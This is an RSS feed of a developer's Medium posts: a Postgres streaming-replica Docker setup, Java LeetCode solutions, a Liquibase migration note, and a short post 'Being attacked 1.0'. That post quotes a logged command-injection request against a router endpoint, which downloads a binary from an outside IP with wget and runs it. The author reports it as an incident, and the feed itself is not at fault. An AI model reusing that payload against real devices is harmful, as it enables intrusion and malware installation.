<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Puck Wang on Medium]]></title>
        <description><![CDATA[Stories by Puck Wang on Medium]]></description>
        <link>https://medium.com/@zhengliang_puck_wang?source=rss-ace32596c4d8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*2Kqm3mIjvnbOBJ3a.jpg</url>
            <title>Stories by Puck Wang on Medium</title>
            <link>https://medium.com/@zhengliang_puck_wang?source=rss-ace32596c4d8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 21 May 2026 10:25:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zhengliang_puck_wang/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[How to Create a Postgres Replica]]></title>
            <link>https://medium.com/@zhengliang_puck_wang/how-to-create-a-postgres-replica-34252bf338c0?source=rss-ace32596c4d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/34252bf338c0</guid>
            <dc:creator><![CDATA[Puck Wang]]></dc:creator>
            <pubDate>Sun, 19 Apr 2026 23:56:16 GMT</pubDate>
            <atom:updated>2026-04-20T00:00:37.048Z</atom:updated>
            <content:encoded><![CDATA[<p>Key components:</p><ol><li>WAL (write-ahead log): change records that make crash recovery and physical replication possible.</li><li>wal_level=replica: the primary must emit enough WAL for replication. On current PostgreSQL releases, this is already the default.</li><li>pg_basebackup: takes a physical copy of the primary to seed the standby.</li><li>standby.signal and primary_conninfo: tell the new server to start in standby mode and stream from the primary.</li><li>WAL retention: use a replication slot, wal_keep_size, or WAL archiving so the primary does not recycle segments the standby still needs.</li></ol><h3>What is WAL</h3><p>Write-ahead logging (WAL) is the mechanism PostgreSQL uses to guarantee durability and recover from crashes. Before a change is considered committed, PostgreSQL writes a description of that change to WAL and flushes the WAL record to durable storage. The actual data pages can be written later. After a crash, PostgreSQL replays WAL to bring the data files back to a consistent state.&lt;sup&gt;&lt;a href=”https://www.postgresql.org/docs/current/wal-intro.html&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;</p><p>WAL files live in the pg_wal directory. WAL segment files are 16 MiB by default, and PostgreSQL rotates through them as new WAL is generated.&lt;sup&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/wal-internals.html&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt;</p><p>A simplified WAL flow looks like this:</p><ol><li>A transaction generates WAL records for a change.</li><li>PostgreSQL updates in-memory shared buffers.</li><li>On commit, PostgreSQL flushes the relevant WAL records.</li><li>Dirty data pages are written to the data files later by background writes and checkpoints.</li><li>If the server crashes, PostgreSQL replays WAL from the last checkpoint to recover.</li></ol><h3>WAL streaming to replica</h3><p>A physical replica starts from a base backup and then continuously replays WAL from the primary. pg_basebackup can take that initial backup from a running cluster. When you add -R, PostgreSQL creates standby.signal and writes the primary connection settings into postgresql.auto.conf, which is enough to boot the new instance as a standby on modern PostgreSQL releases.&lt;sup&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/app-pgbasebackup.html&quot;&gt;[3]&lt;/a&gt;&lt;/sup&gt;</p><h3>Quick setup</h3><p>This example is for local Docker testing. It uses broad network rules and hard-coded passwords for brevity. For anything real, narrow the CIDRs, avoid trust, and prefer scram-sha-256 everywhere.&lt;sup&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/auth-pg-hba-conf.html&quot;&gt;[4]&lt;/a&gt;&lt;/sup&gt;</p><p>You need a pg_hba.conf entry that allows both normal client connections and replication connections from the replica.</p><pre># Local demo only: trust local socket connections inside the container<br>local   all             all                                     trust</pre><pre># Local demo only: replace 0.0.0.0/0 with your replica subnet in real deployments<br>host    replication     replicator      0.0.0.0/0               scram-sha-256<br>host    all             all             0.0.0.0/0               scram-sha-256</pre><h4>primary-init.sh</h4><pre>#!/usr/bin/env bash<br>set -euo pipefail</pre><pre>postgres_pid=&quot;&quot;</pre><pre>cleanup() {<br>  if [ -n &quot;$postgres_pid&quot; ] &amp;&amp; kill -0 &quot;$postgres_pid&quot; &gt; /dev/null 2&gt;&amp;1; then<br>    kill -TERM &quot;$postgres_pid&quot; &gt; /dev/null 2&gt;&amp;1 || true<br>    wait &quot;$postgres_pid&quot; || true<br>  fi<br>}</pre><pre>trap cleanup INT TERM</pre><pre>docker-entrypoint.sh &quot;$@&quot; &amp;<br>postgres_pid=$!</pre><pre>echo &quot;Waiting for primary PostgreSQL to accept connections...&quot;<br>until pg_isready -h 127.0.0.1 -U postgres -d postgres &gt; /dev/null 2&gt;&amp;1; do<br>  if ! kill -0 &quot;$postgres_pid&quot; &gt; /dev/null 2&gt;&amp;1; then<br>    wait &quot;$postgres_pid&quot;<br>  fi<br>  sleep 1<br>done</pre><pre>echo &quot;Ensuring replication role exists...&quot;<br>psql -v ON_ERROR_STOP=1 -U postgres -d postgres &lt;&lt;&#39;SQL&#39;<br>DO $$<br>BEGIN<br>  IF NOT EXISTS (<br>    SELECT 1<br>    FROM pg_roles<br>    WHERE rolname = &#39;replicator&#39;<br>  ) THEN<br>    CREATE ROLE replicator WITH REPLICATION LOGIN PASSWORD &#39;replicator&#39;;<br>  END IF;<br>END<br>$$;<br>SQL</pre><pre>wait &quot;$postgres_pid&quot;</pre><h4>replica-init.sh</h4><pre>#!/usr/bin/env bash<br>set -euo pipefail</pre><pre>DATA_DIR=&quot;${PGDATA:?PGDATA is not set}&quot;<br>PRIMARY_HOST=&quot;primary&quot;</pre><pre>echo &quot;Waiting for primary to be ready...&quot;<br>until pg_isready -h &quot;$PRIMARY_HOST&quot; -U postgres -d postgres &gt; /dev/null 2&gt;&amp;1; do<br>  sleep 2<br>done</pre><pre>echo &quot;Waiting for replication user to exist...&quot;<br>until PGPASSWORD=postgres psql -h &quot;$PRIMARY_HOST&quot; -U postgres -d postgres -tAc &quot;SELECT 1 FROM pg_roles WHERE rolname=&#39;replicator&#39;&quot; | grep -q 1; do<br>  sleep 2<br>done</pre><pre># Only run basebackup if replica not initialized<br>if [ ! -f &quot;$DATA_DIR/PG_VERSION&quot; ]; then<br>  echo &quot;Initializing replica data directory...&quot;</pre><pre>  mkdir -p &quot;$DATA_DIR&quot;<br>  shopt -s dotglob nullglob<br>  rm -rf &quot;$DATA_DIR&quot;/*<br>  shopt -u dotglob nullglob<br>  chown -R postgres:postgres /var/lib/postgresql</pre><pre>  echo &quot;Running pg_basebackup...&quot;<br>  PGPASSWORD=replicator gosu postgres pg_basebackup \<br>    -h &quot;$PRIMARY_HOST&quot; \<br>    -D &quot;$DATA_DIR&quot; \<br>    -U replicator \<br>    -Fp \<br>    -Xs \<br>    -P \<br>    -R</pre><pre>  echo &quot;Base backup complete.&quot;<br>else<br>  echo &quot;Replica already initialized, skipping base backup.&quot;<br>fi</pre><pre>echo &quot;Starting PostgreSQL replica...&quot;<br>exec docker-entrypoint.sh postgres</pre><p>This replica comes up correctly, but the primary still needs to retain enough WAL for the standby to catch up after brief disconnects. In this demo I use wal_keep_size; for a production setup, prefer a physical replication slot and/or WAL archiving.&lt;sup&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/warm-standby.html&quot;&gt;[5]&lt;/a&gt;&lt;/sup&gt;</p><pre>services:<br>  primary:<br>    image: postgres:18<br>    container_name: pg_primary<br>    restart: unless-stopped<br>    environment:<br>      POSTGRES_USER: postgres<br>      POSTGRES_PASSWORD: postgres<br>    volumes:<br>      - primary_pgroot:/var/lib/postgresql<br>      - ./primary/pg_hba.conf:/etc/postgresql/pg_hba.conf:ro<br>      - ./scripts/primary-init.sh:/scripts/primary-init.sh:ro<br>    ports:<br>      - &quot;5430:5432&quot;<br>    networks:<br>      - primary_net<br>      - backbone_net<br>    healthcheck:<br>      test: [&quot;CMD-SHELL&quot;, &quot;pg_isready -U postgres -d postgres&quot;]<br>      interval: 5s<br>      timeout: 5s<br>      retries: 20<br>    entrypoint: [&quot;/bin/bash&quot;, &quot;/scripts/primary-init.sh&quot;]<br>    command: &gt;<br>      postgres<br>      -c wal_level=replica<br>      -c max_wal_senders=10<br>      -c max_replication_slots=10<br>      -c wal_keep_size=256MB<br>      -c listen_addresses=&#39;*&#39;<br>      -c hba_file=/etc/postgresql/pg_hba.conf</pre><pre>  replica-1:<br>    image: postgres:18<br>    container_name: pg_replica_1<br>    restart: unless-stopped<br>    environment:<br>      POSTGRES_USER: postgres<br>      POSTGRES_PASSWORD: postgres<br>    depends_on:<br>      primary:<br>        condition: service_healthy<br>    volumes:<br>      - replica_1_pgroot:/var/lib/postgresql<br>      - ./scripts/replica-init.sh:/scripts/replica-init.sh:ro<br>    ports:<br>      - &quot;5431:5432&quot;<br>    networks:<br>      - replica_net<br>      - backbone_net<br>    healthcheck:<br>      test: [&quot;CMD-SHELL&quot;, &quot;pg_isready -U postgres -d postgres&quot;]<br>      interval: 5s<br>      timeout: 5s<br>      retries: 20<br>    entrypoint: [&quot;/bin/bash&quot;, &quot;/scripts/replica-init.sh&quot;]</pre><pre>networks:<br>  primary_net:<br>  replica_net:<br>  backbone_net:</pre><pre>volumes:<br>  primary_pgroot:<br>  replica_1_pgroot:</pre><h3>Notes</h3><ul><li>max_replication_slots only reserves capacity. It does not create a replication slot by itself.</li><li>wal_keep_size helps a briefly disconnected standby catch up, but it is not a full replacement for WAL archiving or a persistent replication slot.</li><li>hot_standby is a standby-side setting. On current PostgreSQL releases it is enabled by default, so it is not required explicitly in this demo.&lt;sup&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/hot-standby.html&quot;&gt;[6]&lt;/a&gt;&lt;/sup&gt;</li></ul><h3>References</h3><ol><li><a href="https://www.postgresql.org/docs/current/wal-intro.html">PostgreSQL docs: Write-Ahead Logging (WAL)</a></li><li><a href="https://www.postgresql.org/docs/current/wal-internals.html">PostgreSQL docs: WAL Internals</a></li><li><a href="https://www.postgresql.org/docs/current/app-pgbasebackup.html">PostgreSQL docs: </a><a href="https://www.postgresql.org/docs/current/app-pgbasebackup.html">pg_basebackup</a></li><li><a href="https://www.postgresql.org/docs/current/auth-pg-hba-conf.html">PostgreSQL docs: </a><a href="https://www.postgresql.org/docs/current/auth-pg-hba-conf.html">pg_hba.conf</a></li><li><a href="https://www.postgresql.org/docs/current/warm-standby.html">PostgreSQL docs: Log-Shipping Standby Servers</a></li><li><a href="https://www.postgresql.org/docs/current/hot-standby.html">PostgreSQL docs: Hot Standby</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34252bf338c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[51. N-Queens]]></title>
            <link>https://medium.com/@zhengliang_puck_wang/51-n-queens-1864792f34fb?source=rss-ace32596c4d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/1864792f34fb</guid>
            <category><![CDATA[leetcode]]></category>
            <dc:creator><![CDATA[Puck Wang]]></dc:creator>
            <pubDate>Wed, 08 May 2024 23:44:55 GMT</pubDate>
            <atom:updated>2024-05-08T23:44:55.291Z</atom:updated>
            <content:encoded><![CDATA[<p>[<a href="https://leetcode.com/problems/n-queens/">51. N-Queens</a>](<a href="https://leetcode.com/problems/n-queens/description/">https://leetcode.com/problems/n-queens/description/</a>)</p><ul><li>Backtrack</li></ul><p>## Solution</p><pre>class Solution {<br>    List&lt;List&lt;String&gt;&gt; ans = new ArrayList&lt;&gt;();<br>    Set&lt;Integer&gt; col = new HashSet&lt;&gt;();<br>    Set&lt;Integer&gt; posDiag = new HashSet&lt;&gt;();<br>    Set&lt;Integer&gt; negDiag = new HashSet&lt;&gt;();<br><br>    public List&lt;List&lt;String&gt;&gt; solveNQueens(int n) {<br>        char[][] board = new char[n][n];<br>        for(int i = 0; i &lt; n; i++) {<br>            Arrays.fill(board[i], &#39;.&#39;);<br>        }<br><br>        backtrack(0, n, board);<br><br>        return ans;<br>    }<br><br>    void backtrack(int row, int n, char[][] board) {<br>        if (row == n) {<br>            List&lt;String&gt; result = new ArrayList&lt;&gt;();<br>            for(char[] r : board) {<br>                result.add(new String(r));<br>            }<br>            ans.add(result);<br>            return;<br>        }<br><br>        for(int i = 0; i &lt; n; i++) {<br>            if(col.contains(i) || posDiag.contains(i + row) || negDiag.contains(i-row)) {<br>                continue;<br>            } <br>            col.add(i);<br>            posDiag.add(i+row);<br>            negDiag.add(i-row);<br>            board[row][i] = &#39;Q&#39;;<br>            backtrack(row + 1, n, board);<br>            board[row][i] = &#39;.&#39;;<br>            col.remove(i);<br>            posDiag.remove(i+row);<br>            negDiag.remove(i-row);<br>        }<br>    }<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1864792f34fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[116. Populating Next Right Pointers in Each Node]]></title>
            <link>https://medium.com/@zhengliang_puck_wang/116-populating-next-right-pointers-in-each-node-a8e578c95268?source=rss-ace32596c4d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8e578c95268</guid>
            <category><![CDATA[leetcode]]></category>
            <dc:creator><![CDATA[Puck Wang]]></dc:creator>
            <pubDate>Thu, 02 May 2024 23:41:38 GMT</pubDate>
            <atom:updated>2024-05-02T23:41:38.663Z</atom:updated>
            <content:encoded><![CDATA[<p>[<a href="https://leetcode.com/problems/populating-next-right-pointers-in-each-node/">116. Populating Next Right Pointers in Each Node</a>](<a href="https://leetcode.com/problems/populating-next-right-pointers-in-each-node/description/">https://leetcode.com/problems/populating-next-right-pointers-in-each-node/description/</a>)</p><p>Intuitively, Breadth-First Search would do the trick.</p><p>Here comes the naive solution:</p><pre>    public Node connect(Node root) {<br>        if(root == null) return root;<br><br>        Queue&lt;Node&gt; q = new LinkedList&lt;&gt;();<br>        q.offer(root);<br><br>        while(!q.isEmpty()) {<br>            int size = q.size();<br>            for(int i = 0; i &lt; size; i++) {<br>                Node leftNode = q.poll();<br>                Node nextNode = q.peek();<br>                if(i &lt; size - 1) { // The last node.next on level x is null<br>                    leftNode.next = nextNode;<br>                }<br>                if(leftNode.left != null) q.offer(leftNode.left);<br>                if(leftNode.right != null) q.offer(leftNode.right);<br>            }<br>        }<br><br>        return root;<br>    }</pre><p>However, it’s not enough as the follow-up may be asked to use O(1) space in the interview. Hence to rewrite the logic:</p><pre>    public Node connect(Node root) {<br>        if(root == null || root.left == null) return root;<br><br>        root.left.next = root.right;<br><br>        if(root.next != null) root.right.next = root.next.left;<br><br>        connect(root.left);<br>        connect(root.right);<br><br>        return root;<br>    }</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8e578c95268" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[199. Binary Tree Right Side View]]></title>
            <link>https://medium.com/@zhengliang_puck_wang/199-binary-tree-right-side-view-58f01dd8e344?source=rss-ace32596c4d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/58f01dd8e344</guid>
            <category><![CDATA[leetcode]]></category>
            <dc:creator><![CDATA[Puck Wang]]></dc:creator>
            <pubDate>Thu, 02 May 2024 15:12:42 GMT</pubDate>
            <atom:updated>2024-05-02T15:12:42.786Z</atom:updated>
            <content:encoded><![CDATA[<p>[<a href="https://leetcode.com/problems/binary-tree-right-side-view/">199. Binary Tree Right Side View</a>](<a href="https://leetcode.com/problems/binary-tree-right-side-view/description/">https://leetcode.com/problems/binary-tree-right-side-view/description</a>)</p><pre>/**<br> * Definition for a binary tree node.<br> * public class TreeNode {<br> *     int val;<br> *     TreeNode left;<br> *     TreeNode right;<br> *     TreeNode() {}<br> *     TreeNode(int val) { this.val = val; }<br> *     TreeNode(int val, TreeNode left, TreeNode right) {<br> *         this.val = val;<br> *         this.left = left;<br> *         this.right = right;<br> *     }<br> * }<br> */<br>class Solution {<br>    <br>    int maxLevel = 0;<br><br>    public List&lt;Integer&gt; rightSideView(TreeNode root) {<br>        List&lt;Integer&gt; ans = new ArrayList&lt;&gt;();<br>        if(root == null) return ans;<br>        traverse(ans, root, maxLevel);<br>        return ans;<br>    }<br><br>    void traverse(List&lt;Integer&gt; arr, TreeNode node, int prevLevel) {<br>        if(node == null) return;<br>        int curLevel = prevLevel + 1;<br>        if(curLevel &gt; maxLevel) {<br>            arr.add(node.val);<br>            maxLevel = curLevel;<br>        }<br>        <br>        traverse(arr, node.right, curLevel);<br>        traverse(arr, node.left, curLevel);<br>    }<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58f01dd8e344" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LeetCode: 155. Min Stack]]></title>
            <link>https://medium.com/@zhengliang_puck_wang/leetcode-155-min-stack-685584924b52?source=rss-ace32596c4d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/685584924b52</guid>
            <category><![CDATA[leetcode]]></category>
            <dc:creator><![CDATA[Puck Wang]]></dc:creator>
            <pubDate>Thu, 02 May 2024 02:49:20 GMT</pubDate>
            <atom:updated>2024-05-02T02:49:20.725Z</atom:updated>
            <content:encoded><![CDATA[<p>[Min Stack](<a href="https://leetcode.com/problems/min-stack/description/">https://leetcode.com/problems/min-stack/description/</a>)</p><p>A naive solution to min stack would be to use built-in Stack Class to perform push(), pop(), peek(). However, it will need an extra Stack to help finding a new min a pop() performed, which violates the problem’s requirement: You must implement a solution with O(1) time complexity for each function.</p><p>Instead of finding a new min, we could do better by tracking the current min with</p><pre>class ListNode {<br>      int val;<br>      int min;<br>      ListNode next;<br>      public ListNode(int val, int min) {<br>          this.val = val;<br>          this.min = min;<br>          this.next = null;<br>      }<br>}</pre><p>Solution:</p><pre>class MinStack {<br>    class ListNode {<br>        int val;<br>        int min;<br>        ListNode next;<br>        public ListNode(int val, int min) {<br>            this.val = val;<br>            this.min = min;<br>            this.next = null;<br>        }<br>    }<br><br>    ListNode head;<br>    public MinStack() {<br><br>    }<br>    <br>    public void push(int val) {<br>        if(head == null) {<br>            head = new ListNode(val, val);<br>        } else {<br>            ListNode head_ = new ListNode(val, Math.min(val, head.min));<br>            head_.next = head;<br>            head = head_;<br>        }<br>    }<br>    <br>    public void pop() {<br>        head = head.next;<br>    }<br>    <br>    public int top() {<br>        return head.val;<br>    }<br>    <br>    public int getMin() {<br>        return head.min;<br>    }<br>}<br><br>/**<br> * Your MinStack object will be instantiated and called as such:<br> * MinStack obj = new MinStack();<br> * obj.push(val);<br> * obj.pop();<br> * int param_3 = obj.top();<br> * int param_4 = obj.getMin();<br> */</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=685584924b52" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LeetCode: 994. Rotting Oranges]]></title>
            <link>https://medium.com/@zhengliang_puck_wang/leetcode-994-rotting-oranges-2ebeefda61cf?source=rss-ace32596c4d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ebeefda61cf</guid>
            <dc:creator><![CDATA[Puck Wang]]></dc:creator>
            <pubDate>Thu, 02 May 2024 02:12:49 GMT</pubDate>
            <atom:updated>2024-05-02T02:12:49.907Z</atom:updated>
            <content:encoded><![CDATA[<p>[Rotting Oranges](<a href="https://leetcode.com/problems/rotting-oranges/">https://leetcode.com/problems/rotting-oranges/</a>)</p><p>The problem strikes me as a BFS question which asks to find the minimum iterations to infect/ traverse all the nodes in the given array from given x, y. Hence, the solution:</p><pre>class Solution {<br>    public int orangesRotting(int[][] grid) {<br>        for(int i = 0; i &lt; grid.length; i++) {<br>            for(int j = 0; j &lt; grid[i].length; j++) {<br>                if(grid[i][j] == 2) {<br>                    rotting(grid, i, j);<br>                }<br>            }<br>        }<br><br>        int ans = 2;<br>        for(int i = 0; i &lt; grid.length; i++) {<br>            for(int j = 0; j &lt; grid[i].length; j++) {<br>                if(grid[i][j] == 1) return -1;<br>                if(grid[i][j] &gt; ans) ans = grid[i][j];<br>            }<br>        }<br><br>        return ans - 2;<br>    }<br><br>    void rotting(int[][] grid, int x, int y) {<br>        int stage = grid[x][y];<br><br>        if(x &gt; 0 &amp;&amp; (grid[x-1][y] == 1 || grid[x-1][y] &gt; stage + 1 )) {<br>            grid[x-1][y] = stage + 1;<br>            rotting(grid, x-1, y);<br>        }<br><br>        if(x &lt; grid.length -1 &amp;&amp; (grid[x+1][y] == 1 || grid[x+1][y] &gt; stage + 1)) {<br>            grid[x+1][y] = stage + 1;<br>            rotting(grid, x+1, y);<br>        }<br><br>        if(y &gt; 0 &amp;&amp; (grid[x][y-1] == 1 || grid[x][y-1] &gt; stage + 1)) {<br>            grid[x][y-1] = stage + 1;<br>            rotting(grid, x, y-1);<br>        }<br>        <br>        if(y &lt; grid[0].length -1 &amp;&amp; (grid[x][y+1] == 1 || grid[x][y+1] &gt; stage + 1)) {<br>            grid[x][y+1] = stage + 1;<br>            rotting(grid, x, y+1);<br>        }<br>    }<br><br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ebeefda61cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Being attacked 1.0]]></title>
            <link>https://medium.com/@zhengliang_puck_wang/being-attacked-1-0-7f06e80880bb?source=rss-ace32596c4d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f06e80880bb</guid>
            <category><![CDATA[spring-boot]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Puck Wang]]></dc:creator>
            <pubDate>Fri, 05 Apr 2024 12:33:27 GMT</pubDate>
            <atom:updated>2024-04-05T12:33:27.123Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my first day deploying my Spring Boot/ React project to AWS. Thanks God I was cheap, and using the free tier instance. As I check the system monitor, I notcie a 99% CPU spin at 3 AM and a surge of network input/ ouptut. I have to reboot the instance to get back to view the logs. And what I found? This spooky request “<strong>/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103.163.214.97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk)”, parameters={masked}</strong>”</p><p>By the look of the logs and <strong>ps -e</strong>, nothing suspecious was executed and running at the backend, but I need to do a bit more digging to make sure of that.</p><p>For my backend server, I used Docker and Spring Boot, but now I find it urgently to have a crash course on Spring Cloud Gateway and Spring Security to eliminate this kind of attack from beginning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f06e80880bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Liquibase Alter Foreign Key Constraint]]></title>
            <link>https://medium.com/@zhengliang_puck_wang/liquibase-alter-foreign-key-constraint-cf3af701612d?source=rss-ace32596c4d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf3af701612d</guid>
            <category><![CDATA[liquibase]]></category>
            <category><![CDATA[mysql]]></category>
            <dc:creator><![CDATA[Puck Wang]]></dc:creator>
            <pubDate>Thu, 28 Sep 2023 14:09:59 GMT</pubDate>
            <atom:updated>2023-09-28T14:09:59.266Z</atom:updated>
            <content:encoded><![CDATA[<p>There was an incidence with Liquibase migration of updating foreign key constraints of a table from on delete cascade to on delete restrict. Given some research, we found that dropping foreign key constraints only locks the system catalog table. However, when adding a foreign key constraint, it would lock the entire target table, and insert the constraint row by row. This behaviour would easily lead to k8s pod timeout, which results in partial migration, and set the database version in a severe state.</p><p>Solution:</p><ol><li>Truncate the table to reduce the update time</li><li>Manual DB surgeries to bring the database to the desired state by bypassing the pod timeout mechanism.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf3af701612d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>